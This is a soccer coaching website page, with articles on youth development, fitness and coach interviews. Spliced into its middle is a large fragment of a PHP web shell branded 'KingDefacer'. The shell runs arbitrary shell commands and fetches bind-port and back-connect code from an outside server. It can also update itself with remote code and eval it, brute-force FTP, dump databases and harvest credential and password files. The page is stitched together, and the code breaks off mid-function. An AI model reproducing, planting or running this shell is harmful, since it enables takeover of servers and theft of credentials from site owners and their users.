Ronald De Bour Interview with Ronald De Boer
By OSA TV
Ronald De Boer was one of the clinicians of the 2009 Ontario Soccer Association Conference.In this video, Ronald comments his views on player development based of many years spend as player in the Dutch youth system, as well as that of a pro coach. See the video
Fitness
21st Century Training Reshaping how coaches see soccer fitness
A major evolution is happening amongst experts in strength & conditioning and physical therapy involving how specific muscular training impacts performance, all of which is changing the face of how premier coaches are read more
$v) {if (strtoupper($k) != "GLOBALS") {strips($arr["$k"]);}}} else {$arr = stripslashes($arr);}}} strips($GLOBALS);}
$_REQUEST = array_merge($_COOKIE,$_GET,$_POST);
foreach($_REQUEST as $k=>$v) {if (!isset($$k)) {$$k = $v;}}
$shver = "KingDefacer was here"; //Current version
//CONFIGURATION AND SETTINGS
if (!empty($unset_surl)) {setcookie("KingDefacer_surl"); $surl = "";}
elseif (!empty($set_surl)) {$surl = $set_surl; setcookie("KingDefacer_surl",$surl);}
else {$surl = $_REQUEST["KingDefacer_surl"]; //Set this cookie for manual SURL
}
$surl_autofill_include = TRUE; //If TRUE then search variables with descriptors (URLs) and save it in SURL.
if ($surl_autofill_include and !$_REQUEST["KingDefacer_surl"]) {$include = "&"; foreach (explode("&",getenv("QUERY_STRING")) as $v) {$v = explode("=",$v); $name = urldecode($v[0]); $value = urldecode($v[1]); foreach (array("http://","https://","ssl://","ftp://","\\\\") as $needle) {if (strpos($value,$needle) === 0) {$includestr .= urlencode($name)."=".urlencode($value)."&";}}} if ($_REQUEST["surl_autofill_include"]) {$includestr .= "surl_autofill_include=1&";}}
if (empty($surl))
{
$surl = "?".$includestr; //Self url
}
$surl = htmlspecialchars($surl);
$timelimit = 0; //time limit of execution this script over server quote (seconds), 0 = unlimited.
$host_allow = array("*"); //array ("{mask}1","{mask}2",...), {mask} = IP or HOST e.g. array("192.168.0.*","127.0.0.1")
$login_txt = "Restricted area"; //http-auth message.
$accessdeniedmess = " kira v. ".$shver.": access denied";
$gzipencode = TRUE; //Encode with gzip?
$updatenow = FALSE; //If TRUE, update now (this variable will be FALSE)
$KingDefacer_updateurl = "http://alturks.com/kira//update/"; //Update server
$KingDefacer_sourcesurl = "http://alturks.com/kira/"; //Sources-server
$filestealth = TRUE; //if TRUE, don't change modify- and access-time
$donated_html = "
Owned by KingDefacer
";
/* If you publish free shell and you wish
add link to your site or any other information,
put here your html. */
$donated_act = array(""); //array ("act1","act2,"...), if $act is in this array, display $donated_html.
$curdir = "./"; //start folder
//$curdir = getenv("DOCUMENT_ROOT");
$tmpdir = ""; //Folder for tempory files. If empty, auto-fill (/tmp or %WINDIR/temp)
$tmpdir_log = "./"; //Directory logs of long processes (e.g. brute, scan...)
$log_email = "jo1n@live.com"; //Default e-mail for sending logs
$sort_default = "0a"; //Default sorting, 0 - number of colomn, "a"scending or "d"escending
$sort_save = TRUE; //If TRUE then save sorting-position using cookies.
// Registered file-types.
// array(
// "{action1}"=>array("ext1","ext2","ext3",...),
// "{action2}"=>array("ext4","ext5","ext6",...),
// ...
// )
$ftypes = array(
"html"=>array("html","htm","shtml"),
"txt"=>array("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess"),
"exe"=>array("sh","install","bat","cmd"),
"ini"=>array("ini","inf"),
"code"=>array("php","phtml","php3","php4","inc","tcl","h","c","cpp","py","cgi","pl"),
"img"=>array("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"),
"sdb"=>array("sdb"),
"phpsess"=>array("sess"),
"download"=>array("exe","com","pif","src","lnk","zip","rar","gz","tar")
);
// Registered executable file-types.
// array(
// string "command{i}"=>array("ext1","ext2","ext3",...),
// ...
// )
// {command}: %f% = filename
$exeftypes = array(
getenv("PHPRC")." -q %f%" => array("php","php3","php4"),
"perl %f%" => array("pl","cgi")
);
/* Highlighted files.
array(
i=>array({regexp},{type},{opentag},{closetag},{break})
...
)
string {regexp} - regular exp.
int {type}:
0 - files and folders (as default),
1 - files only, 2 - folders only
string {opentag} - open html-tag, e.g. "" (default)
string {closetag} - close html-tag, e.g. "" (default)
bool {break} - if TRUE and found match then break
*/
$regxp_highlight = array(
array(basename($_SERVER["PHP_SELF"]),1,"",""), // example
array("config.php",1) // example
);
$safemode_diskettes = array("a"); // This variable for disabling diskett-errors.
// array (i=>{letter} ...); string {letter} - letter of a drive
//$safemode_diskettes = range("a","z");
$hexdump_lines = 8;// lines in hex preview file
$hexdump_rows = 24;// 16, 24 or 32 bytes in one line
$nixpwdperpage = 100; // Get first N lines from /etc/passwd
$bindport_pass = "KingDefacer"; // default password for binding
$bindport_port = "31373"; // default port for binding
$bc_port = "31373"; // default port for back-connect
$datapipe_localport = "8081"; // default port for datapipe
// Command-aliases
if (!$win)
{
$cmdaliases = array(
array("-----------------------------------------------------------", "ls -la"),
array("find all suid files", "find / -type f -perm -04000 -ls"),
array("find suid files in current dir", "find . -type f -perm -04000 -ls"),
array("find all sgid files", "find / -type f -perm -02000 -ls"),
array("find sgid files in current dir", "find . -type f -perm -02000 -ls"),
array("find config.inc.php files", "find / -type f -name config.inc.php"),
array("find config* files", "find / -type f -name \"config*\""),
array("find config* files in current dir", "find . -type f -name \"config*\""),
array("find all writable folders and files", "find / -perm -2 -ls"),
array("find all writable folders and files in current dir", "find . -perm -2 -ls"),
array("find all service.pwd files", "find / -type f -name service.pwd"),
array("find service.pwd files in current dir", "find . -type f -name service.pwd"),
array("find all .htpasswd files", "find / -type f -name .htpasswd"),
array("find .htpasswd files in current dir", "find . -type f -name .htpasswd"),
array("find all .bash_history files", "find / -type f -name .bash_history"),
array("find .bash_history files in current dir", "find . -type f -name .bash_history"),
array("find all .fetchmailrc files", "find / -type f -name .fetchmailrc"),
array("find .fetchmailrc files in current dir", "find . -type f -name .fetchmailrc"),
array("list file attributes on a Linux second extended file system", "lsattr -va"),
array("show opened ports", "netstat -an | grep -i listen")
);
}
else
{
$cmdaliases = array(
array("-----------------------------------------------------------", "dir"),
array("show opened ports", "netstat -an")
);
}
$sess_cookie = "KingDefacervars"; // Cookie-variable name
$usefsbuff = TRUE; //Buffer-function
$copy_unset = FALSE; //Remove copied files from buffer after pasting
//Quick launch
$quicklaunch = array(
array("",$surl),
array("","#\" onclick=\"history.back(1)"),
array("","#\" onclick=\"history.go(1)"),
array("",$surl."act=ls&d=%upd&sort=%sort"),
array("",""),
array("",$surl."act=search&d=%d"),
array("",$surl."act=fsbuff&d=%d"),
array("Encoder",$surl."act=encoder&d=%d"),
array("Tools",$surl."act=tools&d=%d"),
array("Proc.",$surl."act=processes&d=%d"),
array("FTP brute",$surl."act=ftpquickbrute&d=%d"),
array("Sec.",$surl."act=security&d=%d"),
array("SQL",$surl."act=sql&d=%d"),
array("PHP-code",$surl."act=eval&d=%d"),
array("Update",$surl."act=update&d=%d"),
array("Feedback",$surl."act=feedback&d=%d"),
array("Self remove",$surl."act=selfremove"),
array("Logout","#\" onclick=\"if (confirm('Are you sure?')) window.close()")
);
//Highlight-code colors
$highlight_background = "#c0c0c0";
$highlight_bg = "#FFFFFF";
$highlight_comment = "#6A6A6A";
$highlight_default = "#0000BB";
$highlight_html = "#1300FF";
$highlight_keyword = "#007700";
$highlight_string = "#000000";
@$f = $_REQUEST["f"];
@extract($_REQUEST["KingDefacercook"]);
//END CONFIGURATION
// \/Next code isn't for editing\/
@set_time_limit(0);
$tmp = array();
foreach($host_allow as $k=>$v) {$tmp[] = str_replace("\\*",".*",preg_quote($v));}
$s = "!^(".implode("|",$tmp).")$!i";
if (!preg_match($s,getenv("REMOTE_ADDR")) and !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR")))) {exit("kira: Access Denied - your host (".getenv("REMOTE_ADDR").") not allow");}
if (!empty($login))
{
if (empty($md5_pass)) {$md5_pass = md5($pass);}
if (($_SERVER["PHP_AUTH_USER"] != $login) or (md5($_SERVER["PHP_AUTH_PW"]) != $md5_pass))
{
if (empty($login_txt)) {$login_txt = strip_tags(ereg_replace(" |
"," ",$donated_html));}
header("WWW-Authenticate: Basic realm=\"kira ".$shver.": ".$login_txt."\"");
header("HTTP/1.0 401 Unauthorized");
exit($accessdeniedmess);
}
}
if ($act != "img")
{
$lastdir = realpath(".");
chdir($curdir);
if ($selfwrite or $updatenow) {@ob_clean(); KingDefacer_getupdate($selfwrite,1); exit;}
$sess_data = unserialize($_COOKIE["$sess_cookie"]);
if (!is_array($sess_data)) {$sess_data = array();}
if (!is_array($sess_data["copy"])) {$sess_data["copy"] = array();}
if (!is_array($sess_data["cut"])) {$sess_data["cut"] = array();}
$disablefunc = @ini_get("disable_functions");
if (!empty($disablefunc))
{
$disablefunc = str_replace(" ","",$disablefunc);
$disablefunc = explode(",",$disablefunc);
}
if (!function_exists("KingDefacer_buff_prepare"))
{
function KingDefacer_buff_prepare()
{
global $sess_data;
global $act;
foreach($sess_data["copy"] as $k=>$v) {$sess_data["copy"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));}
foreach($sess_data["cut"] as $k=>$v) {$sess_data["cut"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));}
$sess_data["copy"] = array_unique($sess_data["copy"]);
$sess_data["cut"] = array_unique($sess_data["cut"]);
sort($sess_data["copy"]);
sort($sess_data["cut"]);
if ($act != "copy") {foreach($sess_data["cut"] as $k=>$v) {if ($sess_data["copy"][$k] == $v) {unset($sess_data["copy"][$k]); }}}
else {foreach($sess_data["copy"] as $k=>$v) {if ($sess_data["cut"][$k] == $v) {unset($sess_data["cut"][$k]);}}}
}
}
KingDefacer_buff_prepare();
if (!function_exists("KingDefacer_sess_put"))
{
function KingDefacer_sess_put($data)
{
global $sess_cookie;
global $sess_data;
KingDefacer_buff_prepare();
$sess_data = $data;
$data = serialize($data);
setcookie($sess_cookie,$data);
}
}
foreach (array("sort","sql_sort") as $v)
{
if (!empty($_GET[$v])) {$$v = $_GET[$v];}
if (!empty($_POST[$v])) {$$v = $_POST[$v];}
}
if ($sort_save)
{
if (!empty($sort)) {setcookie("sort",$sort);}
if (!empty($sql_sort)) {setcookie("sql_sort",$sql_sort);}
}
if (!function_exists("str2mini"))
{
function str2mini($content,$len)
{
if (strlen($content) > $len)
{
$len = ceil($len/2) - 2;
return substr($content, 0,$len)."...".substr($content,-$len);
}
else {return $content;}
}
}
if (!function_exists("view_size"))
{
function view_size($size)
{
if (!is_numeric($size)) {return FALSE;}
else
{
if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";}
elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";}
elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";}
else {$size = $size . " B";}
return $size;
}
}
}
if (!function_exists("fs_copy_dir"))
{
function fs_copy_dir($d,$t)
{
$d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
$h = opendir($d);
while (($o = readdir($h)) !== FALSE)
{
if (($o != ".") and ($o != ".."))
{
if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
else {$ret = mkdir($t.DIRECTORY_SEPARATOR.$o); fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
if (!$ret) {return $ret;}
}
}
closedir($h);
return TRUE;
}
}
if (!function_exists("fs_copy_obj"))
{
function fs_copy_obj($d,$t)
{
$d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
$t = str_replace("\\",DIRECTORY_SEPARATOR,$t);
if (!is_dir(dirname($t))) {mkdir(dirname($t));}
if (is_dir($d))
{
if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
return fs_copy_dir($d,$t);
}
elseif (is_file($d)) {return copy($d,$t);}
else {return FALSE;}
}
}
if (!function_exists("fs_move_dir"))
{
function fs_move_dir($d,$t)
{
$h = opendir($d);
if (!is_dir($t)) {mkdir($t);}
while (($o = readdir($h)) !== FALSE)
{
if (($o != ".") and ($o != ".."))
{
$ret = TRUE;
if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
else {if (mkdir($t.DIRECTORY_SEPARATOR.$o) and fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o)) {$ret = FALSE;}}
if (!$ret) {return $ret;}
}
}
closedir($h);
return TRUE;
}
}
if (!function_exists("fs_move_obj"))
{
function fs_move_obj($d,$t)
{
$d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
$t = str_replace("\\",DIRECTORY_SEPARATOR,$t);
if (is_dir($d))
{
if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
return fs_move_dir($d,$t);
}
elseif (is_file($d))
{
if(copy($d,$t)) {return unlink($d);}
else {unlink($t); return FALSE;}
}
else {return FALSE;}
}
}
if (!function_exists("fs_rmdir"))
{
function fs_rmdir($d)
{
$h = opendir($d);
while (($o = readdir($h)) !== FALSE)
{
if (($o != ".") and ($o != ".."))
{
if (!is_dir($d.$o)) {unlink($d.$o);}
else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);}
}
}
closedir($h);
rmdir($d);
return !is_dir($d);
}
}
if (!function_exists("fs_rmobj"))
{
function fs_rmobj($o)
{
$o = str_replace("\\",DIRECTORY_SEPARATOR,$o);
if (is_dir($o))
{
if (substr($o,-1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;}
return fs_rmdir($o);
}
elseif (is_file($o)) {return unlink($o);}
else {return FALSE;}
}
}
if (!function_exists("myshellexec"))
{
function myshellexec($cmd)
{
global $disablefunc;
$result = "";
if (!empty($cmd))
{
if (is_callable("exec") and !in_array("exec",$disablefunc)) {exec($cmd,$result); $result = join("\n",$result);}
elseif (($result = `$cmd`) !== FALSE) {}
elseif (is_callable("system") and !in_array("system",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
elseif (is_callable("passthru") and !in_array("passthru",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
elseif (is_resource($fp = popen($cmd,"r")))
{
$result = "";
while(!feof($fp)) {$result .= fread($fp,1024);}
pclose($fp);
}
}
return $result;
}
}
if (!function_exists("tabsort")) {function tabsort($a,$b) {global $v; return strnatcmp($a[$v], $b[$v]);}}
if (!function_exists("view_perms"))
{
function view_perms($mode)
{
if (($mode & 0xC000) === 0xC000) {$type = "s";}
elseif (($mode & 0x4000) === 0x4000) {$type = "d";}
elseif (($mode & 0xA000) === 0xA000) {$type = "l";}
elseif (($mode & 0x8000) === 0x8000) {$type = "-";}
elseif (($mode & 0x6000) === 0x6000) {$type = "b";}
elseif (($mode & 0x2000) === 0x2000) {$type = "c";}
elseif (($mode & 0x1000) === 0x1000) {$type = "p";}
else {$type = "?";}
$owner["read"] = ($mode & 00400)?"r":"-";
$owner["write"] = ($mode & 00200)?"w":"-";
$owner["execute"] = ($mode & 00100)?"x":"-";
$group["read"] = ($mode & 00040)?"r":"-";
$group["write"] = ($mode & 00020)?"w":"-";
$group["execute"] = ($mode & 00010)?"x":"-";
$world["read"] = ($mode & 00004)?"r":"-";
$world["write"] = ($mode & 00002)? "w":"-";
$world["execute"] = ($mode & 00001)?"x":"-";
if ($mode & 0x800) {$owner["execute"] = ($owner["execute"] == "x")?"s":"S";}
if ($mode & 0x400) {$group["execute"] = ($group["execute"] == "x")?"s":"S";}
if ($mode & 0x200) {$world["execute"] = ($world["execute"] == "x")?"t":"T";}
return $type.join("",$owner).join("",$group).join("",$world);
}
}
if (!function_exists("posix_getpwuid") and !in_array("posix_getpwuid",$disablefunc)) {function posix_getpwuid($uid) {return FALSE;}}
if (!function_exists("posix_getgrgid") and !in_array("posix_getgrgid",$disablefunc)) {function posix_getgrgid($gid) {return FALSE;}}
if (!function_exists("posix_kill") and !in_array("posix_kill",$disablefunc)) {function posix_kill($gid) {return FALSE;}}
if (!function_exists("parse_perms"))
{
function parse_perms($mode)
{
if (($mode & 0xC000) === 0xC000) {$t = "s";}
elseif (($mode & 0x4000) === 0x4000) {$t = "d";}
elseif (($mode & 0xA000) === 0xA000) {$t = "l";}
elseif (($mode & 0x8000) === 0x8000) {$t = "-";}
elseif (($mode & 0x6000) === 0x6000) {$t = "b";}
elseif (($mode & 0x2000) === 0x2000) {$t = "c";}
elseif (($mode & 0x1000) === 0x1000) {$t = "p";}
else {$t = "?";}
$o["r"] = ($mode & 00400) > 0; $o["w"] = ($mode & 00200) > 0; $o["x"] = ($mode & 00100) > 0;
$g["r"] = ($mode & 00040) > 0; $g["w"] = ($mode & 00020) > 0; $g["x"] = ($mode & 00010) > 0;
$w["r"] = ($mode & 00004) > 0; $w["w"] = ($mode & 00002) > 0; $w["x"] = ($mode & 00001) > 0;
return array("t"=>$t,"o"=>$o,"g"=>$g,"w"=>$w);
}
}
if (!function_exists("parsesort"))
{
function parsesort($sort)
{
$one = intval($sort);
$second = substr($sort,-1);
if ($second != "d") {$second = "a";}
return array($one,$second);
}
}
if (!function_exists("view_perms_color"))
{
function view_perms_color($o)
{
if (!is_readable($o)) {return "".view_perms(fileperms($o))."";}
elseif (!is_writable($o)) {return "".view_perms(fileperms($o))."";}
else {return "".view_perms(fileperms($o))."";}
}
}
if (!function_exists("KingDefacergetsource"))
{
function KingDefacergetsource($fn)
{
global $KingDefacer_sourcesurl;
$array = array(
"KingDefacer_bindport.pl" => "KingDefacer_bindport_pl.txt",
"KingDefacer_bindport.c" => "KingDefacer_bindport_c.txt",
"KingDefacer_backconn.pl" => "KingDefacer_backconn_pl.txt",
"KingDefacer_backconn.c" => "KingDefacer_backconn_c.txt",
"KingDefacer_datapipe.pl" => "KingDefacer_datapipe_pl.txt",
"KingDefacer_datapipe.c" => "KingDefacer_datapipe_c.txt",
);
$name = $array[$fn];
if ($name) {return file_get_contents($KingDefacer_sourcesurl.$name);}
else {return FALSE;}
}
}
if (!function_exists("KingDefacer_getupdate"))
{
function KingDefacer_getupdate($update = TRUE)
{
$url = $GLOBALS["KingDefacer_updateurl"]."?version=".urlencode(base64_encode($GLOBALS["shver"]))."&updatenow=".($updatenow?"1":"0")."&";
$data = @file_get_contents($url);
if (!$data) {return "Can't connect to update-server!";}
else
{
$data = ltrim($data);
$string = substr($data,3,ord($data{2}));
if ($data{0} == "\x99" and $data{1} == "\x01") {return "Error: ".$string; return FALSE;}
if ($data{0} == "\x99" and $data{1} == "\x02") {return "You are using latest version!";}
if ($data{0} == "\x99" and $data{1} == "\x03")
{
$string = explode("\x01",$string);
if ($update)
{
$confvars = array();
$sourceurl = $string[0];
$source = file_get_contents($sourceurl);
if (!$source) {return "Can't fetch update!";}
else
{
$fp = fopen(__FILE__,"w");
if (!$fp) {return "Local error: can't write update to ".__FILE__."! You may download kira.php manually here.";}
else {fwrite($fp,$source); fclose($fp); return "Thanks! Updated with success.";}
}
}
else {return "New version are available: ".$string[1];}
}
elseif ($data{0} == "\x99" and $data{1} == "\x04") {eval($string); return 1;}
else {return "Error in protocol: segmentation failed! (".$data.") ";}
}
}
}
if (!function_exists("mysql_dump"))
{
function mysql_dump($set)
{
global $shver;
$sock = $set["sock"];
$db = $set["db"];
$print = $set["print"];
$nl2br = $set["nl2br"];
$file = $set["file"];
$add_drop = $set["add_drop"];
$tabs = $set["tabs"];
$onlytabs = $set["onlytabs"];
$ret = array();
$ret["err"] = array();
if (!is_resource($sock)) {echo("Error: \$sock is not valid resource.");}
if (empty($db)) {$db = "db";}
if (empty($print)) {$print = 0;}
if (empty($nl2br)) {$nl2br = 0;}
if (empty($add_drop)) {$add_drop = TRUE;}
if (empty($file))
{
$file = $tmpdir."dump_".getenv("SERVER_NAME")."_".$db."_".date("d-m-Y-H-i-s").".sql";
}
if (!is_array($tabs)) {$tabs = array();}
if (empty($add_drop)) {$add_drop = TRUE;}
if (sizeof($tabs) == 0)
{
// retrive tables-list
$res = mysql_query("SHOW TABLES FROM ".$db, $sock);
if (mysql_num_rows($res) > 0) {while ($row = mysql_fetch_row($res)) {$tabs[] = $row[0];}}
}
$out = "# Dumped by kira.SQL v. ".$shver."
# Home page: http://google.com
#
# Host settings:
# MySQL version: (".mysql_get_server_info().") running on ".getenv("SERVER_ADDR")." (".getenv("SERVER_NAME").")"."
# Date: ".date("d.m.Y H:i:s")."
# DB: \"".$db."\"
#---------------------------------------------------------
";
$c = count($onlytabs);
foreach($tabs as $tab)
{
if ((in_array($tab,$onlytabs)) or (!$c))
{
if ($add_drop) {$out .= "DROP TABLE IF EXISTS `".$tab."`;\n";}
// recieve query for create table structure
$res = mysql_query("SHOW CREATE TABLE `".$tab."`", $sock);
if (!$res) {$ret["err"][] = mysql_smarterror();}
else
{
$row = mysql_fetch_row($res);
$out .= $row["1"].";\n\n";
// recieve table variables
$res = mysql_query("SELECT * FROM `$tab`", $sock);
if (mysql_num_rows($res) > 0)
{
while ($row = mysql_fetch_assoc($res))
{
$keys = implode("`, `", array_keys($row));
$values = array_values($row);
foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
$values = implode("', '", $values);
$sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');\n";
$out .= $sql;
}
}
}
}
}
$out .= "#---------------------------------------------------------------------------------\n\n";
if ($file)
{
$fp = fopen($file, "w");
if (!$fp) {$ret["err"][] = 2;}
else
{
fwrite ($fp, $out);
fclose ($fp);
}
}
if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}}
return $out;
}
}
if (!function_exists("mysql_buildwhere"))
{
function mysql_buildwhere($array,$sep=" and",$functs=array())
{
if (!is_array($array)) {$array = array();}
$result = "";
foreach($array as $k=>$v)
{
$value = "";
if (!empty($functs[$k])) {$value .= $functs[$k]."(";}
$value .= "'".addslashes($v)."'";
if (!empty($functs[$k])) {$value .= ")";}
$result .= "`".$k."` = ".$value.$sep;
}
$result = substr($result,0,strlen($result)-strlen($sep));
return $result;
}
}
if (!function_exists("mysql_fetch_all"))
{
function mysql_fetch_all($query,$sock)
{
if ($sock) {$result = mysql_query($query,$sock);}
else {$result = mysql_query($query);}
$array = array();
while ($row = mysql_fetch_array($result)) {$array[] = $row;}
mysql_free_result($result);
return $array;
}
}
if (!function_exists("mysql_smarterror"))
{
function mysql_smarterror($type,$sock)
{
if ($sock) {$error = mysql_error($sock);}
else {$error = mysql_error();}
$error = htmlspecialchars($error);
return $error;
}
}
if (!function_exists("mysql_query_form"))
{
function mysql_query_form()
{
global $submit,$sql_act,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct;
if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "Error:
".$sql_query_error."
";}
if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;}
if ((!$submit) or ($sql_act))
{
echo "";
if ($tbl_struct)
{
echo "
";
//Start center panel
$diplay = TRUE;
if ($sql_db)
{
if (!is_numeric($c)) {$c = 0;}
if ($c == 0) {$c = "no";}
echo "
There are ".$c." table(s) in this DB (".htmlspecialchars($sql_db).").
";
if (count($dbquicklaunch) > 0) {foreach($dbsqlquicklaunch as $item) {echo "[ ".$item[0]." ] ";}}
echo "
";
if ($sql_act == "newdb")
{
echo "";
if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!
";}
else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".
Reason: ".mysql_smarterror();}
}
if ($sql_act == "serverstatus")
{
$result = mysql_query("SHOW STATUS", $sql_sock);
echo "
";}
elseif ($ft == "code")
{
if (ereg("php"."BB 2.(.*) auto-generated config file",$r))
{
$arr = explode("\n",$r);
if (count($arr == 18))
{
include($d.$f);
echo "phpBB configuration is detected in this file!
";
if ($dbms == "mysql4") {$dbms = "mysql";}
if ($dbms == "mysql") {echo "Connect to DB
";}
else {echo "But, you can't connect to forum sql-base, because db-software=\"".$dbms."\" is not supported by kira. Please, report us for fix.";}
echo "Parameters for manual connect:
";
$cfgvars = array("dbms"=>$dbms,"dbhost"=>$dbhost,"dbname"=>$dbname,"dbuser"=>$dbuser,"dbpasswd"=>$dbpasswd);
foreach ($cfgvars as $k=>$v) {echo htmlspecialchars($k)."='".htmlspecialchars($v)."'
";}
echo "
";
}
}
echo "
";
if (!empty($white)) {@ob_clean();}
highlight_file($d.$f);
if (!empty($white)) {KingDefacerexit();}
echo "
Youth Development Italian Youth Development -Inter Milan During my recent trio to Europe, I had an opportunity to visit the Inter -Milan soccer club, and have a chat with some of their coaches about youth development.Read more
Youth Development To drill ....or not to soccer drill How often have your yoputh soccer players come to you during a practice session and asked:"Coach, can we please do a soccer drill?" vs coming to you and asking, "Coach, can we please play a soccer game?Read more...
Motor Skills Development The Missing Link:Motor Skills Development
Much has been said in many quarters about player's development and in particular about the technical ability of Canadian player.Many debates have discussed what technique "should" be taught first read more...
Fitness
21st Century Training Reshaping how coaches see soccer fitness
A major evolution is happening amongst experts in strength & conditioning and physical therapy involving how specific muscular training impacts performance, all of which is changing the face of how premier coaches are read more
Training Grounds
Combination Play Lay-off pass to a 3rd man By Raffaele Tomarchio
Many times when watching pro teams play, we can see how devastating the attacking play illustrated in Fig 1 can be in creating scoring opportunities for teams.“With 4 in possession of the ball, attacker 9 checks. Read More(See Animation)
Interview
Anson Dorrance
from nscaa.com
What motivated you to become a coach, and who were your biggest influences on your development as a coach?
Well, I kind of stumbled into coaching full-time. The guy I played for, Dr. Marvin Allen, must have seen something in me because when he was on the verge of retiring he went in to speak to the athletic director here and he advised him to hire me as his successor.Read More....